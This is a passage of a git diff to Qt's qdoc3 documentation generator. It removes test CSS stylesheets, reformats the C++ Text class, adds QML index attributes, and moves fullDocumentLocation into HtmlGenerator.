e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]|| -e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window); diff --git a/tools/qdoc3/test/style/style.css b/tools/qdoc3/test/style/style.css deleted file mode 100644 index dff0772..0000000 --- a/tools/qdoc3/test/style/style.css +++ /dev/null @@ -1,1051 +0,0 @@ -@media screen -{ - html - { - color: #000000; - background: #FFFFFF; - } - body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, button, textarea, p, blockquote, th, td - { - margin: 0; - padding: 0; - } - table - { - border-collapse: collapse; - border-spacing: 0; - } - fieldset, img - { - border: 0; - } - address, caption, cite, code, dfn, em, strong, th, var, optgroup - { - font-style: inherit; - font-weight: inherit; - } - del, ins - { - text-decoration: none; - } - li - { - list-style: none; - } - caption, th - { - text-align: left; - } - h1, h2, h3, h4, h5, h6 - { - font-size: 100%; - font-weight: normal; - } - q:before, q:after - { - content: ''; - } - abbr, acronym - { - border: 0; - font-variant: normal; - } - sup - { - vertical-align: baseline; - } - sub - { - vertical-align: baseline; - } - .heading - { - font: normal 600 16px/1.0 Arial; - padding-bottom: 15px; - } - .subtitle - { - font-size: 13px; - } - .small-subtitle - { - font-size: 13px; - } - legend - { - color: #000000; - } - input, button, textarea, select, optgroup, option - { - font-family: inherit; - font-size: inherit; - font-style: inherit; - font-weight: inherit; - } - input, button, textarea, select - { - font-size: 100%; - } - html - { - background-color: #e5e5e5; - } - body - { - background: #e6e7e8 url(../images/page_bg.png) repeat-x 0 0; - font: normal 13px/1.2 Verdana; - color: #363534; - } - strong - { - font-weight: bold; - } - em - { - font-style: italic; - } - a - { - color: #00732f; - text-decoration: none; - } - .header, .footer, .wrapper - { - min-width: 600px; - max-width: 1500px; - margin: 0 30px; - } - .wrapper - { - background: url(../images/bg_r.png) repeat-y 100% 0; - } - .wrapper .hd - { - padding-left: 216px; - height: 15px; - background: url(../images/page.png) no-repeat 0 0; - overflow: hidden; - } - .offline .wrapper .hd - { - background: url(../images/page.png) no-repeat 0 -15px; - } - .wrapper .hd span - { - height: 15px; - display: block; - overflow: hidden; - background: url(../images/page.png) no-repeat 100% -30px; - } - .wrapper .bd - { - background: url(../images/bg_l.png) repeat-y 0 0; - position: relative; - } - .offline .wrapper .bd - { - background: url(../images/bg_l_blank.png) repeat-y 0 0; - } - .wrapper .ft - { - padding-left: 216px; - height: 15px; - background: url(../images/page.png) no-repeat 0 -75px; - overflow: hidden; - } - .offline .wrapper .ft - { - background: url(../images/page.png) no-repeat 0 -90px; - } - .wrapper .ft span - { - height: 15px; - display: block; - background: url(../images/page.png) no-repeat 100% -60px; - overflow: hidden; - } - .header, .footer - { - display: block; - clear: both; - overflow: hidden; - } - .header - { - height: 115px; - position: relative; - } - .header .icon - { - position: absolute; - top: 13px; - left: 0; - } - .header .qtref - { - position: absolute; - top: 28px; - left: 88px; - width: 302px; - height: 22px; - } - .header .qtref span - { - display: block; - width: 302px; - height: 22px; - text-indent: -999em; - background: url(../images/sprites-combined.png) no-repeat -78px -235px; - } - - .sidebar - { - float: left; - margin-left: 5px; - width: 200px; - font-size: 11px; - } - - .offline .sidebar, .offline .feedback, .offline .t_button - { - display: none; - } - - .sidebar .searchlabel - { - padding: 0 0 2px 17px; - font: normal bold 11px/1.2 Verdana; - } - - .sidebar .search - { - padding: 0 15px 0 16px; - } - - .sidebar .search form - { - background: url(../images/sprites-combined.png) no-repeat -6px -348px; - height:21px; - padding:2px 0 0 5px; - width:167px; - } - - .sidebar .search form input#pageType - { - width: 158px; - height: 19px; - padding: 0; - border: none; - outline: none; - font: 13px/1.2 Verdana; - } - - .sidebar .box - { - padding: 17px 15px 5px 16px; - } - - .sidebar .box .first - { - background-image: none; - } - - .sidebar .box h2 - { - font: normal 18px/1.2 Arial; - padding: 0; - min-height: 32px; - } - .sidebar .box h2 span - { - overflow: hidden; - display: inline-block; - } - .sidebar .box#lookup h2 - { - background-image: none; - } - .sidebar #lookup.box h2 span - { - background: url(../images/sprites-combined.png) no-repeat -6px -311px; - width: 27px; - height: 35px; - margin-right: 13px; - } - .sidebar .box#topics h2 - { - background-image: none; - } - .sidebar #topics.box h2 span - { - background: url(../images/sprites-combined.png) no-repeat -94px -311px; - width: 27px; - height: 32px; - margin-right: 13px; - } - .sidebar .box#examples h2 - { - background-image: none; - } - .sidebar #examples.box h2 span - { - background: url(../images/sprites-combined.png) no-repeat -48px -311px; - width: 30px; - height: 31px; - margin-right: 9px; - } - - .sidebar .box .list - { - display: block; - } - .sidebar .box .live - { - display: none; - height: 100px; - overflow: auto; - } - .list li a:hover, .live li a:hover - { - text-decoration: underline; - } - .sidebar .box ul - { - } - .sidebar .box ul li - { - padding-left: 12px; - background: url(../images/bullet_gt.png) no-repeat 0 5px; - margin-bottom: 15px; - } - .sidebar .bottombar - { - background: url(../images/box_bg.png) repeat-x 0 bottom; - } - .wrap - { - margin: 0 5px 0 208px; - overflow: visible; - } - .offline .wrap - { - margin: 0 5px 0 5px; - } - .wrap .toolbar - { - background-color: #fafafa; - border-bottom: 1px solid #d1d1d1; - height: 20px; - position: relative; - } - .wrap .toolbar .toolblock - { - position: absolute; - } - .wrap .toolbar .breadcrumb - { - font-size: 11px; - line-height: 1; - padding: 0 0 10px 21px; - height: 10px; - } - .wrap .toolbar .toolbuttons - { - padding: 0 0 10px 21px; - right: 5px; - vertical-align: middle; - overflow: hidden; - } - .wrap .toolbar .toolbuttons .active - { - color: #00732F; - } - .wrap .toolbar .toolbuttons ul - { - float: right; - } - .wrap .toolbar .toolbuttons li - { - float: left; - text-indent: -10px; - margin-top: -5px; - margin-right: 15px; - font-weight: bold; - color: #B0ADAB; - } - - .toolbuttons #print - { - border-left: 1px solid #c5c4c4; - margin-top: 0; - padding-left: 7px; - text-indent: 0; - } - .toolbuttons #print a - { - width: 16px; - height: 16px; - } - - .toolbuttons #print a span - { - width: 16px; - height: 16px; - text-indent: -999em; - display: block; - overflow: hidden; - background: url(../images/sprites-combined.png) no-repeat -137px -311px; - } - - .toolbuttons #smallA - { - font-size: 10pt; - } - .toolbuttons #medA - { - font-size: 12pt; - } - .toolbuttons #bigA - { - font-size: 14pt; - margin-right: 7px; - } - - #smallA:hover, #medA:hover, #bigA:hover - { - color: #00732F; - } - - .offline .wrap .breadcrumb - { - } - - .wrap .breadcrumb ul - { - } - .wrap .breadcrumb ul li - { - float: left; - background: url(../images/breadcrumb.png) no-repeat 0 3px; - padding-left: 15px; - margin-left: 15px; - font-weight: bold; - } - .wrap .breadcrumb ul li.last - { - font-weight: normal; - } - .wrap .breadcrumb ul li a - { - color: #363534; - } - .wrap .breadcrumb ul li.first - { - background-image: none; - padding-left: 0; - margin-left: 0; - } - .wrap .content - { - padding: 30px; - } - - .wrap .content li - { - padding-left: 12px; - background: url(../images/bullet_sq.png) no-repeat 0 5px; - font: normal 400 10pt/1 Verdana; - color: #44a51c; - margin-bottom: 10px; - } - .content li:hover - { - text-decoration: underline; - } - - .offline .wrap .content - { - padding-top: 15px; - } - - .wrap .content h1 - { - font: 600 18px/1.2 Arial; - } - .wrap .content h2 - { - font: 600 16px/1.2 Arial; - } - .wrap .content h3 - { - font: 600 14px/1.2 Arial; - } - .wrap .content p - { - line-height: 20px; - padding: 10px 5px 10px 5px; - } - .wrap .content ul - { - padding-left: 25px; - } - a:hover - { - color: #4c0033; - text-decoration: underline; - } - .content a:visited - { - color: #4c0033; - text-decoration: none; - } - .footer - { - min-height: 100px; - color: #797775; - font: normal 9px/1 Verdana; - text-align: center; - padding-top: 40px; - background-color: #E6E7E8; - margin: 0; - } - .feedback - { - float: none; - position: absolute; - right: 15px; - bottom: 10px; - font: normal 8px/1 Verdana; - color: #B0ADAB; - } - .feedback:hover - { - float: right; - font: normal 8px/1 Verdana; - color: #00732F; - text-decoration: underline; - } - .header:after, .footer:after, .breadcrumb:after, .wrap .content:after, .group:after - { - content: "."; - display: block; - height: 0; - clear: both; - visibility: hidden; - } - #nav-topright - { - height: 70px; - } - - #nav-topright ul - { - list-style-type: none; - float: right; - width: 370px; - margin-top: 11px; - } - - #nav-topright li - { - display: inline-block; - margin-right: 20px; - float: left; - } - - #nav-topright li.nav-topright-last - { - margin-right: 0; - } - - #nav-topright li a - { - background: transparent url(../images/sprites-combined.png) no-repeat; - height: 18px; - display: block; - overflow: hidden; - text-indent: -9999px; - } - - #nav-topright li.nav-topright-home a - { - width: 65px; - background-position: -2px -91px; - } - - #nav-topright li.nav-topright-home a:hover - { - background-position: -2px -117px; - } - - - #nav-topright li.nav-topright-dev a - { - width: 30px; - background-position: -76px -91px; - } - - #nav-topright li.nav-topright-dev a:hover - { - background-position: -76px -117px; - } - - - #nav-topright li.nav-topright-labs a - { - width: 40px; - background-position: -114px -91px; - } - - #nav-topright li.nav-topright-labs a:hover - { - background-position: -114px -117px; - } - - #nav-topright li.nav-topright-doc a - { - width: 32px; - background-position: -162px -91px; - } - - #nav-topright li.nav-topright-doc a:hover, #nav-topright li.nav-topright-doc-active a - { - background-position: -162px -117px; - } - - #nav-topright li.nav-topright-blog a - { - width: 40px; - background-position: -203px -91px; - } - - #nav-topright li.nav-topright-blog a:hover, #nav-topright li.nav-topright-blog-active a - { - background-position: -203px -117px; - } - - #nav-topright li.nav-topright-shop a - { - width: 40px; - background-position: -252px -91px; - } - - #nav-topright li.nav-topright-shop a:hover, #nav-topright li.nav-topright-shop-active a - { - background-position: -252px -117px; - } - - #nav-logo - { - background: transparent url(../images/sprites-combined.png ) no-repeat 0 -225px; - left: -3px; - position: absolute; - width: 75px; - height: 75px; - top: 13px; - } - #nav-logo a - { - width: 75px; - height: 75px; - display: block; - text-indent: -9999px; - overflow: hidden; - } - - - .shortCut-topleft-inactive - { - padding-left: 3px; - background: transparent url( ../images/sprites-combined.png) no-repeat 0px -58px; - height: 20px; - width: 47px; - } - .shortCut-topleft-inactive span - { - font-variant: normal; - } - #shortCut - { - padding-top: 10px; - font-weight: bolder; - color: #b0adab; - } - #shortCut ul - { - list-style-type: none; - float: left; - width: 347px; - margin-left: 100px; - } - #shortCut li - { - display: inline-block; - margin-right: 25px; - float: left; - white-space: nowrap; - } - #shortCut li a - { - color: #b0adab; - } - #shortCut li a:hover - { - color: #44a51c; - } - - hr - { - background-color: #E6E6E6; - border: 1px solid #E6E6E6; - height: 1px; - width: 100%; - text-align: left; - margin: 15px 0px 15px 0px; - } - - .content .alignedsummary - { - margin: 15px; - } - pre - { - border: 1px solid #DDDDDD; - margin: 0 20px 10px 10px; - padding: 20px 15px 20px 20px; - overflow-x: auto; - } - table, pre - { - -moz-border-radius: 7px 7px 7px 7px; - background-color: #F6F6F6; - border: 1px solid #E6E6E6; - border-collapse: separate; - font-size: 11px; - /*min-width: 395px;*/ - margin-bottom: 25px; - display: inline-block; - } - thead - { - margin-top: 5px; - } - th - { - padding: 3px 15px 3px 15px; - } - td - { - padding: 3px 15px 3px 20px; - } - table tr.odd - { - border-left: 1px solid #E6E6E6; - background-color: #F6F6F6; - color: #66666E; - } - table tr.even - { - border-left: 1px solid #E6E6E6; - background-color: #ffffff; - color: #66666E; - } - table tr.odd:hover - { - background-color: #E6E6E6; - } - table tr.even:hover - { - background-color: #E6E6E6; - } - - span.comment - { - color: #8B0000; - font-style: italic; - } - span.string, span.char - { - color: #254117; - } - - .qmltype - { - text-align: center; - font-size: 160%; - } - .qmlreadonly - { - padding-left: 3px; - float: right; - color: #254117; - } - - .qmldefault - { - padding-left: 3px; - float: right; - color: red; - } - - .qmldoc - { - } - - *.qmlitem p - { - } - - #feedbackBox - { - display: none; - -moz-border-radius: 7px 7px 7px 7px; - border: 1px solid #DDDDDD; - position: fixed; - top: 100px; - left: 33%; - height: 190px; - width: 400px; - padding: 5px; - background-color: #e6e7e8; - z-index: 4; - } - #feedcloseX a - { - display: inline; - padding: 5px 5px 0 0; - margin-bottom: 3px; - color: #363534; - font-weight: 600; - float: right; - text-decoration: none; - } - - #feedbox - { - display: inline; - width: 370px; - height: 120px; - margin: 0px 25px 10px 15px; - } - #feedsubmit - { - display: inline; - float: right; - margin: 4px 32px 0 0; - } - #blurpage - { - display: none; - position: fixed; - float: none; - top: 0px; - left: 0px; - right: 0px; - bottom: 0px; - background: transparent url(../images/feedbackground.png) 0 0; - z-index: 3; - } - .toc - { - float: right; - -moz-border-radius: 7px 7px 7px 7px; - background-color: #F6F6F6; - border: 1px solid #DDDDDD; - margin: 0 20px 10px 10px; - padding: 20px 15px 20px 20px; - height: auto; - width: 200px; - } - - .toc h3 - { - font: 600 12px/1.2 Arial; - } - - .wrap .content .toc ul - { - padding-left: 0px; - } - - - .wrap .content .toc .level2 - { - margin-left: 15px; - } - - .content .toc li - { - font: normal 10px/1.2 Verdana; - background: url(../images/bullet_dn.png) no-repeat 0 5px; - } - - .relpage - { - -moz-border-radius: 7px 7px 7px 7px; - border: 1px solid #DDDDDD; - padding: 25px 25px; - clear: both; - } - .relpage ul - { - float: none; - padding: 15px; - } - .content .relpage li - { - font: normal 11px/1.2 Verdana; - } - h3.fn, span.fn - { - background-color: #F6F6F6; - border-width: 1px; - border-style: solid; - border-color: #E6E6E6; - font-weight: bold; - } - - - /* start index box */ - .indexbox - { - width: 100%; - display:inline-block; - } - - .indexboxcont - { - display: block; - /* overflow: hidden;*/ - } - - .indexboxbar - { - background: transparent url(../images/horBar.png ) repeat-x left bottom; - margin-bottom: 25px; - /* background-image: none; - border-bottom: 1px solid #e2e2e2;*/ - } - - .indexboxcont .section - { - display: inline-block; - width: 49%; - *width:42%; - _width:42%; - padding:0 2% 0 1%; - vertical-align:top; - -} - - .indexboxcont .indexIcon - { - width: 11%; - *width:18%; - _width:18%; - overflow:hidden; - -} - .indexboxcont .section p - { - padding-top: 20px; - padding-bottom: 20px; - } - .indexboxcont .sectionlist - { - display: inline-block; - width: 33%; - padding: 0; - } - .indexboxcont .sectionlist ul - { - margin-bottom: 20px; - } - - .indexboxcont .sectionlist ul li - { - line-height: 12px; - } - - .content .indexboxcont li - { - font: normal 600 13px/1 Verdana; - } - - .indexbox a:hover, .indexbox a:visited:hover - { - color: #4c0033; - text-decoration: underline; - } - - .indexbox a:visited - { - color: #00732f; - text-decoration: none; - } - - .indexboxcont:after - { - content: "."; - display: block; - height: 0; - clear: both; - visibility: hidden; - } - - .indexbox .indexIcon span - { - display: block; - } - - .indexbox.guide .indexIcon span - { - width: 96px; - height: 137px; - background: url(../images/sprites-combined.png) no-repeat -5px -376px; - padding: 0; - } - - .indexbox.tools .indexIcon span - { - width: 115px; - height: 137px; - background: url(../images/sprites-combined.png) no-repeat -111px -376px; - padding: 0; - } - - .lastcol - { - display: inline-block; - vertical-align: top; - padding: 0; - max-width: 25%; - } - - .tricol .lastcol - { - margin-left: -6px; - } - /* end indexbox */ -} -/* end of screen media */ - -/* start of print media */ - -@media print -{ - input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft - { - display: none; - background: none; - } - .content - { - position: absolute; - top: 0px; - left: 0px; - background: none; - display: block; - } -} -/* end of print media */ diff --git a/tools/qdoc3/test/style/style_ie6.css b/tools/qdoc3/test/style/style_ie6.css deleted file mode 100644 index 16fb850..0000000 --- a/tools/qdoc3/test/style/style_ie6.css +++ /dev/null @@ -1,54 +0,0 @@ -.indexbox, .indexboxcont, .group { - zoom: 1; - height: 1%; -} - -.sidebar { - margin-left: 3px; - width: 199px; - overflow: hidden; -} - -.sidebar .search form { - position: relative; -} - -.sidebar .search form fieldset { - position: absolute; - margin-top: -1px; -} - -.sidebar .search form input#searchstring { - border: 1px solid #fff; - height: 18px; -} - -.wrap { - zoom: 1; -} - -.content, -.toolbar { - zoom: 1; - margin-left: -3px; - position: relative; -} - -.indexbox { - clear: both; -} - -.indexboxcont .section { - zoom: 1; - float: left; -} - -.indexboxcont .sectionlist { - zoom: 1; - float: left; -} - -.wrap .toolbar .toolbuttons li { - text-indent: 0; - margin-right: 8px; -}
\ No newline at end of file diff --git a/tools/qdoc3/test/style/style_ie7.css b/tools/qdoc3/test/style/style_ie7.css deleted file mode 100644 index afbff5f..0000000 --- a/tools/qdoc3/test/style/style_ie7.css +++ /dev/null @@ -1,19 +0,0 @@ -.indexbox, .indexboxcont, .group { - min-height: 1px; -} - -.sidebar .search form input#searchstring { - border: 1px solid #fff; - height: 17px; -} - - -.indexboxcont .section { - zoom: 1; - float: left; -} - -.indexboxcont .sectionlist { - zoom: 1; - float: left; -} diff --git a/tools/qdoc3/test/style/style_ie8.css b/tools/qdoc3/test/style/style_ie8.css deleted file mode 100644 index e69de29..0000000 --- a/tools/qdoc3/test/style/style_ie8.css +++ /dev/null diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp index dba3a1d..e9a97fe 100644 --- a/tools/qdoc3/text.cpp +++ b/tools/qdoc3/text.cpp @@ -60,10 +60,10 @@ Text::Text(const QString &str) operator<<(str); } -Text::Text( const Text& text ) +Text::Text(const Text& text) : first(0), last(0) { - operator=( text ); + operator=(text); } Text::~Text() @@ -71,41 +71,41 @@ Text::~Text() clear(); } -Text& Text::operator=( const Text& text ) +Text& Text::operator=(const Text& text) { - if ( this != &text ) { + if (this != &text) { clear(); - operator<<( text ); + operator<<(text); } return *this; } -Text& Text::operator<<( Atom::Type atomType ) +Text& Text::operator<<(Atom::Type atomType) { - return operator<<( Atom(atomType) ); + return operator<<(Atom(atomType)); } -Text& Text::operator<<( const QString& string ) +Text& Text::operator<<(const QString& string) { - return operator<<( Atom(Atom::String, string) ); + return operator<<(Atom(Atom::String, string)); } -Text& Text::operator<<( const Atom& atom ) +Text& Text::operator<<(const Atom& atom) { - if ( first == 0 ) { - first = new Atom( atom.type(), atom.string() ); + if (first == 0) { + first = new Atom(atom.type(), atom.string()); last = first; } else { - last = new Atom( last, atom.type(), atom.string() ); + last = new Atom(last, atom.type(), atom.string()); } return *this; } -Text& Text::operator<<( const Text& text ) +Text& Text::operator<<(const Text& text) { - const Atom *atom = text.firstAtom(); - while ( atom != 0 ) { - operator<<( *atom ); + const Atom* atom = text.firstAtom(); + while (atom != 0) { + operator<<(*atom); atom = atom->next(); } return *this; @@ -113,10 +113,10 @@ Text& Text::operator<<( const Text& text ) void Text::stripFirstAtom() { - if ( first != 0 ) { - if ( first == last ) + if (first != 0) { + if (first == last) last = 0; - Atom *oldFirst = first; + Atom* oldFirst = first; first = first->next(); delete oldFirst; } @@ -124,16 +124,16 @@ void Text::stripFirstAtom() void Text::stripLastAtom() { - if ( last != 0 ) { - Atom *oldLast = last; - if ( first == last ) { + if (last != 0) { + Atom* oldLast = last; + if (first == last) { first = 0; last = 0; } else { last = first; - while ( last->next() != oldLast ) + while (last->next() != oldLast) last = last->next(); - last->setNext( 0 ); + last->setNext(0); } delete oldLast; } @@ -142,59 +142,65 @@ void Text::stripLastAtom() QString Text::toString() const { QString str; - const Atom *atom = firstAtom(); - while ( atom != 0 ) { - if ( atom->type() == Atom::String || atom->type() == Atom::AutoLink ) + const Atom* atom = firstAtom(); + while (atom != 0) { + if (atom->type() == Atom::String || + atom->type() == Atom::AutoLink || + atom->type() == Atom::GuidLink) str += atom->string(); atom = atom->next(); } return str; } -Text Text::subText( Atom::Type left, Atom::Type right, const Atom *from ) const +Text Text::subText(Atom::Type left, Atom::Type right, const Atom* from, bool inclusive) const { - const Atom *begin = from ? from : firstAtom(); - const Atom *end; + const Atom* begin = from ? from : firstAtom(); + const Atom* end; - while ( begin != 0 && begin->type() != left ) - begin = begin->next(); - if ( begin != 0 ) + while (begin != 0 && begin->type() != left) begin = begin->next(); + if (begin != 0) { + if (!inclusive) + begin = begin->next(); + } end = begin; - while ( end != 0 && end->type() != right ) + while (end != 0 && end->type() != right) end = end->next(); - if ( end == 0 ) + if (end == 0) begin = 0; - return subText( begin, end ); + else if (inclusive) + end = end->next(); + return subText(begin, end); } -Text Text::sectionHeading(const Atom *sectionLeft) +Text Text::sectionHeading(const Atom* sectionLeft) { - if ( sectionLeft != 0 ) { - const Atom *begin = sectionLeft; - while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft ) + if (sectionLeft != 0) { + const Atom* begin = sectionLeft; + while (begin != 0 && begin->type() != Atom::SectionHeadingLeft) begin = begin->next(); - if ( begin != 0 ) + if (begin != 0) begin = begin->next(); - const Atom *end = begin; - while ( end != 0 && end->type() != Atom::SectionHeadingRight ) + const Atom* end = begin; + while (end != 0 && end->type() != Atom::SectionHeadingRight) end = end->next(); - if ( end != 0 ) - return subText( begin, end ); + if (end != 0) + return subText(begin, end); } return Text(); } -const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft) +const Atom* Text::sectionHeadingAtom(const Atom* sectionLeft) { - if ( sectionLeft != 0 ) { - const Atom *begin = sectionLeft; - while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft ) + if (sectionLeft != 0) { + const Atom* begin = sectionLeft; + while (begin != 0 && begin->type() != Atom::SectionHeadingLeft) begin = begin->next(); - if ( begin != 0 ) + if (begin != 0) begin = begin->next(); return begin; @@ -204,25 +210,25 @@ const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft) void Text::dump() const { - const Atom *atom = firstAtom(); - while ( atom != 0 ) { + const Atom* atom = firstAtom(); + while (atom != 0) { QString str = atom->string(); - str.replace( "\\", "\\\\" ); - str.replace( "\"", "\\\"" ); - str.replace( "\n", "\\n" ); - str.replace( QRegExp("[^\x20-\x7e]"), "?" ); - if ( !str.isEmpty() ) + str.replace("\\", "\\\\"); + str.replace("\"", "\\\""); + str.replace("\n", "\\n"); + str.replace(QRegExp("[^\x20-\x7e]"), "?"); + if (!str.isEmpty()) str = " \"" + str + "\""; - fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data() ); + fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data()); atom = atom->next(); } } -Text Text::subText( const Atom *begin, const Atom *end ) +Text Text::subText(const Atom* begin, const Atom* end) { Text text; - if ( begin != 0 ) { - while ( begin != end ) { + if (begin != 0) { + while (begin != end) { text << *begin; begin = begin->next(); } @@ -232,8 +238,8 @@ Text Text::subText( const Atom *begin, const Atom *end ) void Text::clear() { - while ( first != 0 ) { - Atom *atom = first; + while (first != 0) { + Atom* atom = first; first = first->next(); delete atom; } @@ -248,8 +254,8 @@ int Text::compare(const Text &text1, const Text &text2) if (text2.isEmpty()) return 1; - const Atom *atom1 = text1.firstAtom(); - const Atom *atom2 = text2.firstAtom(); + const Atom* atom1 = text1.firstAtom(); + const Atom* atom2 = text2.firstAtom(); for (;;) { if (atom1->type() != atom2->type()) diff --git a/tools/qdoc3/text.h b/tools/qdoc3/text.h index e2c81ac..c88ed62 100644 --- a/tools/qdoc3/text.h +++ b/tools/qdoc3/text.h @@ -73,7 +73,7 @@ class Text QString toString() const; const Atom *firstAtom() const { return first; } const Atom *lastAtom() const { return last; } - Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0) const; + Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0, bool inclusive = false) const; void dump() const; void clear(); diff --git a/tools/qdoc3/tokenizer.cpp b/tools/qdoc3/tokenizer.cpp index 9f116b1..4b35705 100644 --- a/tools/qdoc3/tokenizer.cpp +++ b/tools/qdoc3/tokenizer.cpp @@ -42,7 +42,6 @@ #include "config.h" #include "tokenizer.h" -#include <qdebug.h> #include <qfile.h> #include <qhash.h> #include <qregexp.h> diff --git a/tools/qdoc3/tr.h b/tools/qdoc3/tr.h index 956fbc9..89b7ef4 100644 --- a/tools/qdoc3/tr.h +++ b/tools/qdoc3/tr.h @@ -46,14 +46,26 @@ #ifndef TR_H #define TR_H +#ifndef QT_BOOTSTRAPPED +# include "qcoreapplication.h" +#endif + #include <qstring.h> QT_BEGIN_NAMESPACE -inline QString tr( const char *sourceText, const char * /* comment */ = 0 ) +#if defined(QT_BOOTSTRAPPED) || defined(QT_NO_TRANSLATION) +inline QString tr(const char *sourceText, const char *comment = 0) { + Q_UNUSED(comment); return QString( QLatin1String(sourceText) ); } +#else +inline QString tr(const char *sourceText, const char *comment = 0) +{ + return QCoreApplication::instance()->translate("", sourceText, comment); +} +#endif QT_END_NAMESPACE diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 4217397..fb4e9f5 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -54,7 +54,6 @@ #include "tree.h" #include <limits.h> -#include <qdebug.h> QT_BEGIN_NAMESPACE @@ -591,12 +590,6 @@ void Tree::resolveGroups() if (fake && fake->subType() == Node::Group) { fake->addGroupMember(i.value()); } -#if 0 - else { - if (prevGroup != i.key()) - i.value()->doc().location().warning(tr("No such group '%1'").arg(i.key())); - } -#endif prevGroup = i.key(); } @@ -812,6 +805,12 @@ void Tree::readIndexSection(const QDomElement &element, subtype = Node::Page; else if (element.attribute("subtype") == "externalpage") subtype = Node::ExternalPage; + else if (element.attribute("subtype") == "qmlclass") + subtype = Node::QmlClass; + else if (element.attribute("subtype") == "qmlpropertygroup") + subtype = Node::QmlPropertyGroup; + else if (element.attribute("subtype") == "qmlbasictype") + subtype = Node::QmlBasicType; else return; @@ -1227,7 +1226,7 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, QString fullName = fullDocumentName(node); if (fullName != objName) writer.writeAttribute("fullname", fullName); - writer.writeAttribute("href", fullDocumentLocation(node)); + writer.writeAttribute("href", HtmlGenerator::fullDocumentLocation(node)); if ((node->type() != Node::Fake) && (!node->isQmlNode())) writer.writeAttribute("location", node->location().fileName()); @@ -1365,6 +1364,8 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, { const QmlPropertyNode *qpn = static_cast<const QmlPropertyNode*>(node); writer.writeAttribute("type", qpn->dataType()); + writer.writeAttribute("attached", qpn->isAttached() ? "true" : "false"); + writer.writeAttribute("writable", qpn->isWritable(this) ? "true" : "false"); } break; case Node::Property: @@ -1735,7 +1736,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer, if (node->type() == Node::Class) { writer.writeTextElement("name", fullDocumentName(node)); - writer.writeTextElement("filename", fullDocumentLocation(node)); + writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node)); // Classes contain information about their base classes. const ClassNode *classNode = static_cast<const ClassNode*>(node); @@ -1753,7 +1754,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer, generateTagFileCompounds(writer, static_cast<const InnerNode *>(node)); } else { writer.writeTextElement("name", fullDocumentName(node)); - writer.writeTextElement("filename", fullDocumentLocation(node)); + writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node)); // Recurse to write all members. generateTagFileMembers(writer, static_cast<const InnerNode *>(node)); @@ -1874,7 +1875,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, "virtual " + functionNode->returnType()); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); @@ -1914,7 +1915,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, const PropertyNode *propertyNode = static_cast<const PropertyNode*>(node); writer.writeAttribute("type", propertyNode->dataType()); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); @@ -1926,7 +1927,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, { const EnumNode *enumNode = static_cast<const EnumNode*>(node); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); writer.writeEndElement(); // member @@ -1950,7 +1951,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, else writer.writeAttribute("type", ""); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); @@ -2002,160 +2003,6 @@ void Tree::addExternalLink(const QString &url, const Node *relative) } /*! - Returns the full document location for HTML-based documentation. - This should be moved into the HTML generator. - */ -QString Tree::fullDocumentLocation(const Node *node) const -{ - if (!node) - return ""; - if (!node->url().isEmpty()) - return node->url(); - - QString parentName; - QString anchorRef; - - if (node->type() == Node::Namespace) { - - // The root namespace has no name - check for this before creating - // an attribute containing the location of any documentation. - - if (!node->fileBase().isEmpty()) - parentName = node->fileBase() + ".html"; - else - return ""; - } - else if (node->type() == Node::Fake) { -#ifdef QDOC_QML - if ((node->subType() == Node::QmlClass) || - (node->subType() == Node::QmlBasicType)) { - QString fb = node->fileBase(); - if (fb.startsWith(QLatin1String("qml-"))) - return fb + ".html"; - else - return "qml-" + node->fileBase() + ".html"; - } else -#endif - parentName = node->fileBase() + ".html"; - } - else if (node->fileBase().isEmpty()) - return ""; - - Node *parentNode = 0; - - if ((parentNode = node->relates())) - parentName = fullDocumentLocation(node->relates()); - else if ((parentNode = node->parent())) { - if (parentNode->subType() == Node::QmlPropertyGroup) { - parentNode = parentNode->parent(); - parentName = 